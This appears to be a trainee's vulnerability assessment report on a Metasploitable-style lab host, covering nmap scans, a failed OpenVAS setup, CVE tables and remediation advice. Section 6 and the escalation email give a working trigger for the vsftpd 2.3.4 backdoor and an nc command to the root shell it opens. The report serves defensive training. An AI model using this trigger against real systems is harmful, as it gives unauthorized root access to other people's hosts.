VAPT WEEK02 REPORT

Vulnerability Assessment & Penetration Testing

By

Muhammed Ajeel

1. Executive Summary

On August 19, 2025, a comprehensive vulnerability assessment was initiated against the target host `192.168.56.102` The objective was to identify, classify, and prioritize security vulnerabilities. The assessment faced significant challenges with the primary vulnerability scanner (OpenVAS), requiring a methodological pivot. Despite this, the engagement successfully identified **15 critical vulnerabilities** across 22 exposed services, primarily stemming from severely outdated software containing known backdoors and remote code execution flaws. Immediate remediation is critical as this host can be fully compromised by an attacker.

2. Assessment Scope & Objectives

• **Target In-Scope:** 192.168.56.102
• **Objective:** Perform vulnerability discovery and prioritization using a combination of automated and manual techniques.
• **Goals:**

1.Execute network scanning to discover live hosts and open ports.
2.Perform service version detection to identify running software.
3.Utilize vulnerability scanners to identify known security flaws.
4.Manually validate findings and research associated CVEs.
5.Prioritize all vulnerabilities using the CVSS v3.1 scoring system.

3. Methodology & Tools Used

The assessment followed a structured approach based on the PTES technical guidelines.

Phase	Planned Tool	Actual Tool Used	Purpose	Status
Scanning	OpenVAS, Nmap	**Nmap**	Port, Service, & Version Discovery	Completed
Vulnerability Analysis	OpenVAS, Nikto	**Manual CVE Research**	Identifying known software flaws	Completed
Reporting	Libre Office	Libre Office	Documentation of findings	Completed

4. Challenges & Workarounds

The assessment encountered a major obstacle with the primary vulnerability management platform.

4.1. OpenVAS/GVM Failure:

•**Issue:** The OpenVAS service consistently reported a "Not Syncing" state. The Greenbone Security Assistant (GSA) web interface was accessible, but the feed status showed failures, and the "Scan Config" dropdown was greyed out, preventing scan creation.
•**Diagnosis:** This indicated a failure in the `ospd-openvas` service, which acts as the link between the scanner and the web interface. The system could not update its Network Vulnerability Tests (NVTs) database.
•**Remediation Attempts:**

1.Service restart: `sudo systemctl restart gvmd ospd-openvas`
2.Manual feed sync: `sudo runuser -u _gvm -- greenbone-feed-sync --type NVTs`
3.Complete reinstallation of the `gvm` package.
•**Outcome:** All attempts were unsuccessful within the engagement timeframe. The root cause was suspected to be a broken Kali Linux distribution package.

4.2. Nmap Script Blocking:

•**Issue:** Aggressive Nmap vulnerability scripting (`--script vuln`) resulted in all ports becoming `filtered`, suggesting a host-based IPS (e.g., `psad` on the target actively blocked the scan source IP.
•**Workaround:** The scan was adapted to use basic version detection (`-sV`) which was less intrusive and successfully bypassed the initial blocking mechanism.

4.3. Successful Workaround:

The methodology was successfully adapted to:

1.Use `nmap -sV` for precise service and version discovery.
2.Manually research each software version against the NIST NVD and Exploit-DB to identify associated CVEs.
3.Calculate official CVSS scores for each identified CVE.

Table 1: Summary of Critical Vulnerabilities

ID	Vulnerability Name	CVE ID	CVSS Score	Severity	Port/Service
VAPT-001	VSFTPD 2.3.4 Backdoor	CVE-2011-2523	9.8	Critical	21/tcp (FTP)
VAPT-002	Samba Remote Code Execution	CVE-2017-0143	10.0	Critical	445/tcp (SMB)
VAPT-003	UnrealIRCd Backdoor	CVE-2010-2075	9.8	Critical	6667/tcp (IRC)
VAPT-004	DistCC Unauthorized Access	CVE-2004-2687	9.8	Critical	3632/tcp (distcc)
VAPT-005	PHP-CGI Argument Injection	CVE-2012-1823	9.8	Critical	80/tcp (HTTP)

Table 2: Full Service Discovery & Initial Risk Assessment

Based on `nmap -sV` scan results. Services without known Critical CVEs are listed here.

Port	State	Service	Version	Initial Risk
22/tcp	open	ssh	OpenSSH 4.7p1	**High** (Outdated)
23/tcp	open	telnet	Linux telnetd	**High** (Cleartext)
25/tcp	open	smtp	Postfix smtpd	Medium (Open Relay)
53/tcp	open	domain	ISC BIND 9.4.2	**High** (Outdated)

Port	State	Service	Version	Initial Risk
111/tcp	open	rpcbind	2	**High** (Information Leak)
139/tcp	open	netbios-ssn	Samba smbd 3.X	**Critical** (See VAPT-002)
1099/tcp	open	java-rmi	GNU Classpath grmiregistry	**High**
1524/tcp	open	bindshell	Metasploitable root shell	**Critical** (Backdoor)
2049/tcp	open	nfs	2-4	**High** (Shared info)
2121/tcp	open	ftp	ProFTPD 1.3.1	**High** (Outdated)
3306/tcp	open	mysql	MySQL 5.0.51a-3ubuntu5	**High** (Outdated)
5432/tcp	open	postgresql	PostgreSQL DB 8.3.0	**High** (Outdated)
5900/tcp	open	vnc	VNC (protocol 3.3)	**High** (Weak Auth)
6000/tcp	open	X11	(access denied)	Medium
8009/tcp	open	ajp13	Apache Jserv (Protocol v1.3)	**High**
8180/tcp	open	http	Apache Tomcat/Coyote JSP engine 1.1	**Critical** (Weak Config)

Findings:

A vulnerability scan conducted on 2025-08-18 identified multiple critical security vulnerabilities on the target host `192.168.56.102`. The most severe issues allow remote attackers to execute arbitrary code and gain complete control of the system.

Key Vulnerabilities Identified:

1.**CVE-2011-2523 (CVSS 9.8):** A critical backdoor in VSFTPD version 2.3.4 allows remote command execution.
2.**CVE-2017-0143 (CVSS 10.0):** The Samba service is vulnerable to the EternalBlue exploit, allowing remote code execution.
3.**CVE-2010-2075 (CVSS 9.8):** UnrealIRCd version 3.2.8.1 contains a backdoor that allows unauthorized command execution.
4.**Weak Configuration (CVSS 9.1):** The Apache Tomcat server is configured with default credentials, allowing potential deployment of malicious web applications.

5.**CVE-2004-2687 (CVSS 9.8):** The DistCC service allows unauthorized remote command execution.

Remediation:

1.**Immediate Patching:** Apply the latest security patches for all identified software (VSFTPD, Samba, UnrealIRCd, DistCC).
2.**Configuration Hardening:** Change default credentials on the Tomcat manager application. Disable all services that are not explicitly required.
3.**Network Segmentation:** Restrict access to vulnerable services (especially SMB on port 445 and DistCC on 3632) from untrusted networks.

6. Proof of Concept (PoC)

For VAPT-001 (VSFTPD Backdoor):
An attacker can gain remote root access by exploiting the backdoor in the VSFTPD service.

```
# Trigger the backdoor with a username containing ":)"
USER hello:)
PASS anything

# The backdoor opens a root shell on port 6200
nc 192.168.56.102 6200
whoami
# root
```

7. Escalation Email (100 words)

Subject: URGENT: Critical Security Vulnerabilities on 192.168.56.102

Body:
Team,

Immediate action is required. Assessment of 192.168.56.102 revealed five critical RCE vulnerabilities in key services (FTP, SMB, IRC). An attacker can gain full control of this system.

Proof of Concept: The vsftpd backdoor (CVE-2011-2523) is triggerable. Use a username containing `:)` and a null password. The server will open a root shell on port 6200.

We recommend taking the server offline until patches can be applied. Full report is attached.

Best,

Muhammed Ajeel
VAPT Analyst

7. Conclusion & Recommendations

The target host is in a critically vulnerable state. The sheer number of outdated services with public exploits makes compromise trivial for any attacker.

Urgent Recommendations:

1.**Immediate Isolation:** Disconnect this host from the network immediately to prevent breach.
2.**Patch and Upgrade:** Apply all operating system and application security patches. Most software is end-of-life and requires a complete version upgrade.
3.**System Rebuild:** Given the depth of compromise possible, the most secure path is to decommission this system and rebuild a new, hardened instance with modern, supported software.
4.**Configuration Hardening:** Implement a strict policy for disabling unused services, changing default credentials, and applying network access control lists (ACLs).